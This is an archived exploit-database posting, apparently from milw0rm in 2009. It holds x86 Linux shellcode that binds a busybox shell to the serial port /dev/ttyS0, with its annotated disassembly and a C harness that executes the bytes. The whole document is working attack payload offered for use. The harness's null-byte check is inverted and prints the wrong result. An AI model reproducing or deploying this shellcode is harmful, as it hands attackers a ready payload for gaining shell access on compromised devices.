/*
General:
Serial port shell binding, busybox launching shellcode.. yey!
Specific:
*really* wish i could tell you what i needed this for.. but meh..
this will bind a busybox sh shell to /dev/ttyS0, the shellcode
does not alter the baudrate settings.. 9600 is the default, but its easy enough to cycle though if were
at a different baud rate.
...damn how long has it been since i posted one of these?
happy hunting
-phar
@
stonedcoder
mdavis .
@ org
ioactive
.
com
main:
31 d2 xor %edx,%edx
31 c0 xor %eax,%eax
6a 02 push $0x2 #flags O_RDW
59 pop %ecx
66 b8 53 30 mov $0x3053,%ax
50 push %eax
68 2f 74 74 79 push $0x7974742f #port device
68 2f 64 65 76 push $0x7665642f
89 e3 mov %esp,%ebx
6a 05 push $0x5
58 pop %eax
89 c6 mov %eax,%esi
cd 80 int $0x80 #open
89 c6 mov %eax,%esi
31 c9 xor %ecx,%ecx
dup2_loop: #set the serial port as our console
89 f3 mov %esi,%ebx
6a 3f push $0x3f
58 pop %eax
cd 80 int $0x80 #dup2
41 inc %ecx
80 f9 03 cmp $0x3,%cl
75 f3 jne 80483a7 dup2_loop
66 b8 73 68 mov $0x6873,%ax
50 push %eax
89 e1 mov %esp,%ecx
52 push %edx
51 push %ecx
89 e1 mov %esp,%ecx
52 push %edx
68 79 62 6f 78 push $0x786f6279 #/bin/busybox
68 2f 62 75 73 push $0x7375622f
68 2f 62 69 6e push $0x6e69622f
89 e3 mov %esp,%ebx
6a 0b push $0xb
58 pop %eax
cd 80 int $0x80 #execve
*/
int main() {
char shellcode[] = {
"\x31\xd2\x31\xc0\x6a\x02\x59\x66\xb8\x53\x30\x50\x68\x2f\x74\x74"
"\x79\x68\x2f\x64\x65\x76\x89\xe3\x6a\x05\x58\x89\xc6\xcd\x80\x89"
"\xc6\x31\xc9\x89\xf3\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf3"
"\x66\xb8\x73\x68\x50\x89\xe1\x52\x51\x89\xe1\x52\x68\x79\x62\x6f"
"\x78\x68\x2f\x62\x75\x73\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58"
"\xcd\x80"};
char cnull = 0;
printf("shellcode_size: %u\n", sizeof(shellcode));
printf("contains nulls: ");
if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
printf("yes\n");
}else{
printf("no\n");
}
(*(void(*)()) shellcode)();
}
// milw0rm.com [2009-04-30]
